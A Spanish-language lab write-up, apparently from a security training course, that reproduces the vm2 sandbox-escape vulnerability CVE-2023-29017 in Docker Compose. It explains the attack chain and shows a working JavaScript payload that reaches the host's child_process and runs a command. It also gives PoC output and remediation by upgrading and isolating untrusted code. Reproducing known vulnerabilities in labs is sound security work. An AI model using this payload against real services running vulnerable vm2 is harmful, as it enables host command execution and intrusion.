
Reproducción de Node.js vm2 CVE-2023-29017 con Docker Compose y PoC
[WHS 4th 31st Class] - Kim Geonwoo (@gunwoo105)
vm2 es una biblioteca de sandbox para Node.js que permite ejecutar JavaScript no confiable en un entorno restringido. En condiciones normales, el código dentro del sandbox no debería poder acceder a funciones sensibles como process, require, child_process y el sistema de archivos del host.
Sin embargo, en vm2 3.9.14 y anteriores, cuando ocurre un error asíncrono no manejado, el objeto host pasado a Error.prepareStackTrace no se maneja de forma segura. Un atacante puede explotar la cadena de constructores de este objeto para obtener el constructor Function del contexto host y el objeto process, y finalmente ejecutar comandos del sistema operativo a través de child_process.
No se utiliza una imagen de producto final vulnerable; en su lugar, se crea la imagen directamente a partir de la imagen base oficial de Node.js y el código fuente incluido en el repositorio. El Dockerfile verifica las versiones de Node.js y vm2; si las versiones no coinciden con lo esperado, la compilación falla.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
La razón para ejecutar worker.js en un proceso separado es que el PoC provoca un error asíncrono no manejado. Aunque el worker termine durante el ataque, el servidor web continúa ejecutándose, y se puede verificar de forma fiable el éxito mediante un archivo marcador.
Deben cumplirse todas las condiciones siguientes:
vm2 3.9.14 o anterior.No todos los servicios que instalan vm2 quedan automáticamente expuestos a ataques remotos. Debe existir una funcionalidad que ejecute código controlado por el atacante en vm2. El endpoint /execute de este laboratorio implementa ese caso de uso de forma mínima.
El flujo del ataque es el siguiente:
Envío de JavaScript malicioso
│
▼
Ocurre error asíncrono no manejado
│
▼
Se invoca Error.prepareStackTrace
│
▼
Exposición del objeto host frames
│
▼
Obtención del constructor Function del host
│
▼
process → require → child_process
│
▼
Ejecución de comandos del SO dentro del contenedor
docker compose build --no-cache

docker compose up -d vulnerable
Verifique el estado del contenedor.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
El PoC verifica automáticamente los siguientes puntos:
/tmp/vm2-pwneduid=Para ejecutar todo de una vez, desde la construcción hasta el PoC, use el siguiente comando:
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Archivo marcador]"
ls -l /tmp/vm2-pwned
echo
echo "[Salida del comando]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
El PoC completo está incluido en poc/poc.js. El payload principal es el siguiente:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
El atacante redefine la función que se ejecuta cuando se genera un stack trace de error.
Function del hostframes.constructor.constructor
Siguiendo la cadena de constructores del objeto host frames expuesto por vm2 vulnerable, se accede al constructor Function del contexto host.
process del hostframes.constructor.constructor('return process')();
Se crea y ejecuta una función que devuelve process desde el contexto host.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Se carga child_process, que no está disponible dentro del sandbox, y se ejecuta el comando id de Linux.
(async () => {}).constructor('return process')();
Se hace que una función asíncrona haga referencia a process, que no está disponible en el sandbox, creando una Promise rechazada que llega a la ruta vulnerable de procesamiento de stack trace.
El JavaScript normal se ejecuta dentro de vm2 y devuelve 42, pero no genera evidencia de ejecución de comandos del sistema operativo.
[2/4] Ejecutando JavaScript benigno dentro de vm2
JavaScript normal devolvió 42 sin ejecución de comando del host
Al enviar el payload malicioso, se escapa del sandbox de vm2 y se ejecuta el comando id dentro del contenedor con los permisos del proceso Node.js vulnerable.
[3/4] Enviando payload de CVE-2023-29017
Salida del comando del host: uid=1000(node) gid=1000(node) groups=1000(node)
El PoC vuelve a verificar la evidencia almacenada y luego devuelve el estado de éxito.
[4/4] Confirmando evidencia persistente
[ÉXITO] CVE-2023-29017 reproducido: el escape del sandbox vm2 provocó la ejecución de comandos del host.
exit_code=0

Al verificar directamente el archivo de evidencia, se obtiene el siguiente resultado:

El archivo marcador se elimina antes de cada ejecución y no se crea durante la fase de ejecución de código benigno. Esto evita falsos positivos debidos a resultados de ejecuciones anteriores.
Actualice a una versión no afectada.
{
"dependencies": {
"vm2": "3.9.15"
}
}
Luego, actualice el lockfile e instale con dependencias fijadas.
npm install --package-lock-only
npm ci
El aviso oficial indica que no existe workaround alternativo, por lo que no se recomienda seguir utilizando versiones vulnerables.
No ejecute código no confiable en el mismo proceso Node.js que la aplicación. Aíslelo en un proceso, contenedor o máquina virtual separados, y deseche el entorno una vez finalizada la ejecución.
no-new-privilegesAplique autenticación y autorización sólidas a las funciones de ejecución de código, y no opere APIs de ejecución de código arbitrario abiertas a usuarios no específicos. Sin embargo, la autenticación es una medida auxiliar que reduce la superficie de ataque, no un sustituto de la corrección de la vulnerabilidad en sí.
| Componente | Versión y configuración |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Versión parcheada | 3.9.15 |
| Entorno de ejecución | Docker Compose |
| Usuario del contenedor | node |
| Puerto del servicio | 127.0.0.1:3000 |
| Instalación de paquetes | npm ci + package-lock.json |
| Archivo | Función |
|---|
docker-compose.yml | Define la configuración y el orden de ejecución del servicio vulnerable y el contenedor PoC |
Dockerfile | Construye las imágenes del servicio vulnerable y PoC en modo multi-stage |
vulnerable/src/server.js | Proporciona los endpoints /health, /execute y /evidence |
vulnerable/src/worker.js | Ejecuta la entrada del usuario en vm2 en un proceso separado |
poc/poc.js | Automatiza la verificación de versiones, control benigno, ataque y confirmación de evidencia |
vulnerable/package-lock.json | Fija las versiones de los paquetes, incluidas las dependencias transitivas |